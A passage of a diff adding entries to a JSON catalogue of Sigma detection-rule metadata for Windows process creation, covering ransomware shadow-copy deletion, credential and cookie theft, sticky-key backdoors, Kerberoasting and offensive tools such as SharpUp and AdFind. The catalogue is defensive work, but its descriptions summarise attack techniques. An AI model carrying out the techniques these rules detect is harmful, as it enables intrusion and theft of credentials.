+ "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", + "https://adsecurity.org/?p=2604", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180", + "value": "Change PowerShell Policies to an Insecure Level" + }, + { + "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_shadowcopy_deletion_via_powershell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "21ff4ca9-f13a-41ad-b828-0077b2af2e40", + "value": "Deletion of Volume Shadow Copies via WMI with PowerShell" + }, + { + "description": "Shadow Copies storage symbolic link creation using operating systems utilities", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Legitimate administrator working with shadow copies, access for backup purposes" + ], + "filename": "proc_creation_win_shadow_copies_access_symlink.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_access_symlink.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003" + ] + }, + "uuid": "40b19fa6-d835-400c-b301-41f3a2baacaf", + "value": "Shadow Copies Access via Symlink" + }, + { + "description": "Shadow Copies creation using operating systems utilities, possible credential access", + "meta": { + "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Legitimate administrator working with shadow copies, access for backup purposes" + ], + "filename": "proc_creation_win_shadow_copies_creation.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.002", + "attack.t1003.003" + ] + }, + "uuid": "b17ea6f7-6e90-447e-a799-e6c0a493d6ce", + "value": "Shadow Copies Creation Using Operating Systems Utilities" + }, + { + "description": "Shadow Copies deletion using operating systems utilities", + "meta": { + "author": "Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)", + "creation_date": "2019/10/22", + "falsepositive": [ + "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", + "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)" + ], + "filename": "proc_creation_win_shadow_copies_deletion.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://blog.talosintelligence.com/2017/05/wannacry.html", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", + "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/Neo23x0/Raccine#the-process", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1070", + "attack.t1490" + ] + }, + "uuid": "c947b146-0abc-4c87-9c64-b17e9d7274a2", + "value": "Shadow Copies Deletion Using Operating Systems Utilities" + }, + { + "description": "Detects the use of SharpUp, a tool for local privilege escalation", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sharpup.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/SharpUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1615", + "attack.t1569.002", + "attack.t1574.005" + ] + }, + "uuid": "c484e533-ee16-4a93-b6ac-f0ea4868b2f1", + "value": "SharpUp PrivEsc Tool" + }, + { + "description": "Detects usage of the Sharp Chisel via the commandline arguments", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/05", + "falsepositive": [ + "Some false positives may occure with other tools with similar commandlines" + ], + "filename": "proc_creation_win_sharp_chisel_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/shantanu561993/SharpChisel", + "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.001" + ] + }, + "uuid": "cf93e05e-d798-4d9e-b522-b0248dc61eaf", + "value": "SharpChisel Usage" + }, + { + "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", + "meta": { + "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali", + "creation_date": "2021/12/17", + "falsepositive": [ + "Legitimate calls to system binaries", + "Company specific internal usage" + ], + "filename": "proc_creation_win_shell_spawn_by_java.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_by_java.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ] + }, + "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0", + "value": "Shells Spawned by Java" + }, + { + "description": "Detects a suspicious child process of a Windows shell", + "meta": { + "author": "Florian Roth, Tim Shelton", + "creation_date": "2018/04/06", + "falsepositive": [ + "Administrative scripts", + "Microsoft SCCM" + ], + "filename": "proc_creation_win_shell_spawn_susp_program.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_susp_program.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.005", + "attack.t1059.001", + "attack.t1218" + ] + }, + "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde", + "value": "Windows Shell Spawning Suspicious Program" + }, + { + "description": "Detects SILENTTRINITY stager use", + "meta": { + "author": "Aleksey Potapov, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_silenttrinity_stage_use.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/byt3bl33d3r/SILENTTRINITY", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071" + ] + }, + "uuid": "03552375-cc2c-4883-bbe4-7958d5a980be", + "value": "SILENTTRINITY Stager Execution" + }, + { + "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/16", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_win_software_discovery.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", + "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518" + ] + }, + "uuid": "e13f668e-7f95-443d-98d2-1816a7648a7b", + "value": "Detected Windows Software Discovery" + }, + { + "description": "Detect attacker collecting audio via SoundRecorder application.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate audio capture by legitimate user." + ], + "filename": "proc_creation_win_soundrec_audio_capture.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", + "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ] + }, + "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e", + "value": "Audio Capture via SoundRecorder" + }, + { + "description": "Detects Service Principal Name Enumeration used for Kerberoasting", + "meta": { + "author": "Markus Neis, keepwatch", + "creation_date": "2018/11/14", + "falsepositive": [ + "Administrator Activity" + ], + "filename": "proc_creation_win_spn_enum.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ] + }, + "uuid": "1eeed653-dbc8-4187-ad0c-eeebb20e6599", + "value": "Possible SPN Enumeration" + }, + { + "description": "Detects dump of credentials in VeeamBackup dbo", + "meta": { + "author": "frack113", + "creation_date": "2021/12/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sqlcmd_veeam_dump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ] + }, + "uuid": "b57ba453-b384-4ab9-9f40-1038086b4e53", + "value": "VeeamBackup Database Credentials Dump" + }, + { + "description": "Detect use of sqlite binary to query the Firefox cookies.sqlite database and steal the cookie data contained within it", + "meta": { + "author": "frack113", + "creation_date": "2022/04/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sqlite_firefox_cookies.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_cookies.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1539" + ] + }, + "uuid": "4833155a-4053-4c9c-a997-777fcea0baa7", + "value": "SQLite Firefox Cookie DB Access" + }, + { + "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", + "meta": { + "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2018/03/15", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_stickykey_like_backdoor.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.008", + "car.2014-11-003", + "car.2014-11-008" + ] + }, + "uuid": "2fdefcb3-dbda-401e-ae23-f0db027628bc", + "value": "Sticky Key Like Backdoor Usage" + }, + { + "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n", + "meta": { + "author": "Sreeman", + "creation_date": "2020/02/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", + "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml" + ], + "tags": [ + "attack.t1546.008", + "attack.privilege_escalation" + ] + }, + "uuid": "1070db9a-3e5d-412e-8e7b-7183b616e1b3", + "value": "Sticky-Key Backdoor Copy Cmd.exe" + }, + { + "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", + "meta": { + "author": "Austin Songer (@austinsonger)", + "creation_date": "2021/10/21", + "falsepositive": [ + "Legitimate usage of stordiag.exe." + ], + "filename": "proc_creation_win_stordiag_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", + "https://twitter.com/eral4m/status/1451112385041911809", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "961e0abb-1b1e-4c84-a453-aafe56ad0d34", + "value": "Execution via stordiag.exe" + }, + { + "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", + "meta": { + "author": "frack113", + "creation_date": "2022/07/16", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_susp_16bit_application.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", + "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", + "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", + "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "16905e21-66ee-42fe-b256-1318ada2d770", + "value": "Start of NT Virtual DOS Machine" + }, + { + "description": "Detects the use of 3proxy, a tiny free proxy server", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/13", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_3proxy_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/3proxy/3proxy", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_3proxy_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ] + }, + "uuid": "f38a82d2-fba3-4781-b549-525efbec8506", + "value": "3Proxy Usage" + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", + "meta": { + "author": "frack113", + "creation_date": "2021/07/27", + "falsepositive": [ + "Command line parameter combinations that contain all included strings" + ], + "filename": "proc_creation_win_susp_7z.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7z.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "9fbf5927-5261-4284-a71d-f681029ea574", + "value": "Compress Data and Lock With Password for Exfiltration With 7-ZIP" + }, + { + "description": "Detects a suspicious 7zip execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/27", + "falsepositive": [ + "Legitimate use of 7-Zip with a command line in which .dmp appears accidentally" + ], + "filename": "proc_creation_win_susp_7zip_dmp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7zip_dmp.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "ec570e53-4c76-45a9-804d-dc3f355ff7a7", + "value": "7Zip Compressing Dump Files" + }, + { + "description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2022/08/12", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_add_local_admin.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_local_admin.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "ad720b90-25ad-43ff-9b5e-5c841facc8e5", + "value": "Add User to Local Administrators" + }, + { + "description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/06", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_add_user_remote_desktop.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml" + ], + "tags": [ + "attack.persistence", + "attack.lateral_movement", + "attack.t1133", + "attack.t1136.001", + "attack.t1021.001" + ] + }, + "uuid": "ffa28e60-bdb1-46e0-9f82-05f7a61cc06e", + "value": "Suspicious Add User to Remote Desktop Users Group" + }, + { + "description": "Detects the execution of a AdFind for enumeration based on it's commadline flags", + "meta": { + "author": "frack113", + "creation_date": "2021/12/13", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_adfind_enumeration.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ] + }, + "uuid": "455b9d50-15a1-4b99-853f-8d37655a4c1b", + "value": "Suspicious AdFind Enumeration" + }, + { + "description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", + "meta": { + "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community", + "creation_date": "2021/02/02", + "falsepositive": [ + "Legitimate admin activity" + ], + "filename": "proc_creation_win_susp_adfind_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.002" + ] + }, + "uuid": "9a132afa-654e-11eb-ae93-0242ac130002", + "value": "AdFind Usage Detection" + }, + { + "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_adidnsdump.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ] + }, + "uuid": "26d3f0a2-f514-4a3f-a8a7-e7e48a8d9160", + "value": "Suspicious Execution of Adidnsdump" + }, + { + "description": "Detects the execution of AdvancedRun utility", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_advancedrun.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/splinter_code/status/1483815103279603714", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun.yml" + ], + "tags": "No established tags" + }, + "uuid": "d2b749ee-4225-417e-b20e-a8d2193cbb84", + "value": "Suspicious AdvancedRun Execution" + }, + { + "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_advancedrun_priv_user.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/splinter_code/status/1483815103279603714", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun_priv_user.yml" + ], + "tags": "No established tags" + }, + "uuid": "fa00b701-44c6-4679-994d-5a18afa8a707", + "value": "Suspicious AdvancedRun Runas Priv User" + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "meta": { + "author": "frack113", + "creation_date": "2021/07/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_athremotefxvgpudisablementcommand.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "a6fc3c46-23b8-4996-9ea2-573f4c4d88c5", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand" + }, + { + "description": "Detects base64 encoded powershell 'Invoke-' call", + "meta": { + "author": "pH-T", + "creation_date": "2022/05/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_base64_invoke.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_invoke.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "6385697e-9f1b-40bd-8817-f4a91f40508e", + "value": "Suspicious Base64 Encoded Powershell Invoke" + }, + { + "description": "Detects suspicious base64 encoded and obbfuscated LOAD string often used for reflection.assembly load", + "meta": { + "author": "pH-T", + "creation_date": "2022/03/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_base64_load.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "9c0295ce-d60d-40bd-bd74-84673b7592b1", + "value": "Suspicious Encoded Obfuscated LOAD String" + }, + { + "description": "Detects, possibly, malicious unauthorized usage of bcdedit.exe", + "meta": { + "author": "@neu5ron", + "creation_date": "2019/02/07", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_susp_bcdedit.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", + "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.persistence", + "attack.t1542.003" + ] + }, + "uuid": "c9fbe8e9-119d-40a6-9b59-dd58a5d84429", + "value": "Possible Ransomware or Unauthorized MBR Modifications" + }, + { + "description": "Execute VBscript code that is referenced within the *.bgi file.", + "meta": { + "author": "Beyu Denis, oscd.community", + "creation_date": "2019/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_bginfo.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", + "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ] + }, + "uuid": "aaf46cdc-934e-4284-b329-34aa701e3771", + "value": "Application Whitelisting Bypass via Bginfo" + }, + { + "description": "Detects transferring files from system on a server bitstransfer Powershell cmdlets", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": 